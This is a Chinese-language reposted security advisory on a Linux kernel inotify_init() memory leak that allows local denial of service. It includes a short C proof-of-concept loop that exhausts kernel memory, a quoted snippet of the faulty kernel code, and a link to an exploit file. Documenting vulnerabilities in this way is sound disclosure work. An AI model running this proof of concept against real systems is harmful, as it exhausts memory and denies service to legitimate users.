Linux Kernel “inotify_init()”内存泄露本地拒绝服务漏洞

leochan00 2010-11-26

Linux Kernel “inotify_init()”内存泄露本地拒绝服务漏洞

发布日期:2010-11-24
更新日期:2010-11-25

受影响系统:
Linux kernel 2.6.24.3 - 2.6.37
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 45036

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel的实现上存在漏洞,本地攻击者可以利用此漏洞引起内存耗尽,导致拒绝服务合法用户。

当无法创建文件描述符时,Inotify没有正确地执行清理操作,导致泄露内核内存。

可以在运行下面的程序时注意“slabtop”:

#include <sys/inotify.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
        int fds[2];

        /* Circumvent max inotify instances limit */
        while (pipe(fds) != -1)
                ;

        while (1)
                inotify_init();

        return 0;
}

问题在于组指示器泄露处的inotify_init1中:
group = inotify_new_group(user, inotify_max_queued_events);
[...]
        ret = anon_inode_getfd("inotify", &inotify_fops, group,
                                  O_RDONLY | flags);
        if (ret >= 0)
                return ret;

        atomic_dec(&user->inotify_devs);
out_free_uid:
        free_uid(user);
        return ret;

<*来源:Vegard Nossum
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Vegard Nossum 提供了如下测试方法:

http://www.securityfocus.com/data/vulnerabilities/exploits/45036.c

建议:
--------------------------------------------------------------------------------
厂商补丁:

Linux
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kernel.org/

相关推荐